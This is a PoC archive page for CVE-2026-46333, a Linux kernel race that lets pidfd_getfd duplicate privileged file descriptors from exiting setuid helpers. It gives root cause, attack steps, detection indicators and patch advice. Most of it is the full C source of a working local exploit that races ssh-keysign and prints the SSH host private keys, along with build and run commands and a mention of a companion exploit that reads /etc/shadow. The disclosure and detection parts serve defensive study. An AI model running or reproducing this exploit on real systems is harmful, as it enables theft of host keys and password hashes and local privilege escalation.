PoC Archive PoC Archive
High CVE-2026-46333 patched

ssh-keysign-pwn: pidfd_getfd FD Theft via mm-NULL Exit Window (CVE-2026-46333)

by 0xdeadbeefnetwork (repo), Qualys (reported kernel bug) · 2026-06-05

Severity
High
CVE
CVE-2026-46333
Category
binary
Affected product
Linux kernel plus privileged userland binaries (ssh-keysign, chage)
Affected versions
Kernels prior to upstream fix commit 31e62c2ebbfd (2026-05-14)
Disclosed
2026-06-05
Patch status
patched

Metadata

FieldValue
Date Added2026-06-05
Last UpdatedN/A
Author / Researcher0xdeadbeefnetwork (repo), Qualys (reported kernel bug)
CVE / AdvisoryCVE-2026-46333
Categorybinary
SeverityHigh
CVSS ScoreN/A
StatusPatched
TagsLPE, Linux kernel, pidfd_getfd, ptrace, ssh-keysign, chage, fd-theft
RelatedN/A

Affected Target

FieldValue
Software / SystemLinux kernel plus privileged userland binaries (ssh-keysign, chage)
Versions AffectedKernels prior to upstream fix commit 31e62c2ebbfd (2026-05-14)
Language / PlatformC / Linux
Authentication RequiredYes (local unprivileged user account)
Network Access RequiredNo (local only)

Summary

ssh-keysign-pwn demonstrates a local file-descriptor theft primitive on vulnerable Linux kernels. During process exit, a race window appears after exit_mm() but before file descriptors are closed; in that state pidfd_getfd(2) can bypass expected dumpable checks and steal privileged FDs from a dying setuid process. The PoC targets ssh-keysign (host private keys) and chage (/etc/shadow) to show practical local privilege-escalation impact.


Vulnerability Details

Root Cause

The kernel permission path in __ptrace_may_access() did not enforce the dumpable check when task->mm == NULL. In do_exit(), exit_mm() runs before exit_files(), leaving a brief interval where memory context is gone but privileged file descriptors are still open. A same-UID attacker can race pidfd_getfd() in that interval and duplicate those descriptors.

Attack Vector

  1. Repeatedly spawn a target setuid/helper binary that opens sensitive files before dropping privileges.
  2. Obtain a pidfd for the child process.
  3. Aggressively call pidfd_getfd() over candidate fd numbers while the child exits.
  4. Identify duplicated descriptors resolving to sensitive targets (e.g., /etc/ssh/ssh_host_*_key, /etc/shadow) and read contents.

Impact

  • Exposure of root-only files to unprivileged local users.
  • Practical credential/key theft (ssh host keys, password hashes) that can enable broader compromise.
  • In environments with vulnerable kernels and affected helper binaries, this is a reliable local privilege-escalation path.

Environment / Lab Setup

OS:          Linux distribution with vulnerable kernel (pre-2026-05-14 fix)
Target:      setuid helper binaries (`ssh-keysign`, `chage`)
Attacker:    local unprivileged shell account
Tools:       gcc/make, standard libc, pidfd syscalls

Setup Steps

1
2
3
cd pocs/binary/2026-06-05_ssh-keysign-pwn
gcc -O2 -Wall -o sshkeysign_pwn sshkeysign_pwn.c
./sshkeysign_pwn

Proof of Concept

Step-by-Step Reproduction

  1. Build the exploit in an authorized vulnerable lab.
    1
    
    gcc -O2 -Wall -o sshkeysign_pwn sshkeysign_pwn.c
    
  2. Execute as a non-root user and let the race loop run.
    1
    
    ./sshkeysign_pwn
    
  3. On success, read stolen key material from stdout.

Exploit Code

See sshkeysign_pwn.c in this folder.

1
2
3
4
5
// simplified flow
pid_t c = fork();
int pfd = pidfd_open(c, 0);
int s = pidfd_getfd(pfd, candidate_fd, 0);
// if descriptor points to ssh_host_*_key, read and print

Expected Output

uid=1000  target=/usr/libexec/ssh-keysign
fd 7 -> /etc/ssh/ssh_host_ed25519_key (round=12 try=143)
-----BEGIN OPENSSH PRIVATE KEY-----
...

Screenshots / Evidence

  • screenshots/ — placeholder for lab capture output.

Detection & Indicators of Compromise

- Repeated short-lived executions of setuid helpers (`ssh-keysign`, `chage`) by unprivileged users
- High-rate pidfd_open/pidfd_getfd syscall bursts from non-privileged processes
- Unexpected read access patterns to `/etc/ssh/ssh_host_*_key` or `/etc/shadow`

SIEM / IDS Rule (example):

Alert when non-root users generate anomalous bursts of pidfd_getfd syscalls
correlated with repeated spawning of privileged helper binaries.

Remediation

ActionDetail
PatchUpgrade to a kernel release containing fix commit 31e62c2ebbfd (2026-05-14) for CVE-2026-46333
WorkaroundRestrict local shell access on vulnerable systems and monitor/block abusive pidfd syscall patterns
Config HardeningMinimize setuid helper exposure; ensure ssh-keysign is only enabled when explicitly required

References


Notes

Auto-ingested from https://github.com/0xdeadbeefnetwork/ssh-keysign-pwn on 2026-06-05.

The upstream repository also includes chage_pwn.c, a second PoC that races privileged /etc/shadow file descriptors from chage -l.

sshkeysign_pwn.c
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
/*
 * "It is a fearful thing to fall into the hands of the living God."
 *                                                — Hebrews 10:31
 *
 * ssh-keysign opens /etc/ssh/ssh_host_*_key before permanently_set_uid().
 * Bails out with the fds still open on EnableSSHKeysign=no. Race the
 * exit window with pidfd_getfd. mm-NULL bypasses the dumpable check
 * (kernel/ptrace.c, patched 31e62c2ebbfd 2026-05-14).
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/wait.h>

#ifndef __NR_pidfd_open
#define __NR_pidfd_open  434
#endif
#ifndef __NR_pidfd_getfd
#define __NR_pidfd_getfd 438
#endif

static int pidfd_open(pid_t pid, unsigned f)
{
	return syscall(__NR_pidfd_open, pid, f);
}

static int pidfd_getfd(int pfd, int fd, unsigned f)
{
	return syscall(__NR_pidfd_getfd, pfd, fd, f);
}

static const char *PATHS[] = {
	"/usr/libexec/ssh-keysign",
	"/usr/libexec/openssh/ssh-keysign",
	"/usr/lib/ssh/ssh-keysign",
	"/usr/lib/openssh/ssh-keysign",
	NULL,
};

int main(void)
{
	const char *bin = NULL;
	for (int i = 0; PATHS[i]; i++)
		if (access(PATHS[i], X_OK) == 0) { bin = PATHS[i]; break; }
	if (!bin) { fprintf(stderr, "ssh-keysign not found\n"); return 1; }
	fprintf(stderr, "uid=%d  target=%s\n", getuid(), bin);

	for (int round = 0; round < 500; round++) {
		pid_t c = fork();
		if (c == 0) {
			int dn = open("/dev/null", O_RDWR);
			dup2(dn, 0); dup2(dn, 1); dup2(dn, 2);
			execl(bin, "ssh-keysign", (char *)NULL);
			_exit(127);
		}

		int pfd = pidfd_open(c, 0);
		if (pfd < 0) { waitpid(c, NULL, 0); continue; }

		int hit = 0;
		for (int a = 0; a < 30000 && !hit; a++) {
			for (int i = 3; i < 32; i++) {
				int s = pidfd_getfd(pfd, i, 0);
				if (s < 0) continue;

				char p[256] = {0}, lk[64];
				snprintf(lk, sizeof(lk), "/proc/self/fd/%d", s);
				ssize_t n = readlink(lk, p, sizeof(p) - 1);
				if (n > 0) p[n] = 0;

				if (strstr(p, "ssh_host_") && strstr(p, "_key")) {
					fprintf(stderr, "fd %d -> %s (round=%d try=%d)\n", i, p, round, a);
					char buf[4096];
					lseek(s, 0, SEEK_SET);
					ssize_t k = read(s, buf, sizeof(buf) - 1);
					if (k > 0) { buf[k] = 0; fputs(buf, stdout); }
					close(s);
					hit = 1;
					break;
				}
				close(s);
			}
		}

		close(pfd);
		waitpid(c, NULL, 0);
		if (hit) return 0;
	}

	fprintf(stderr, "no hit in 500 rounds\n");
	return 1;
}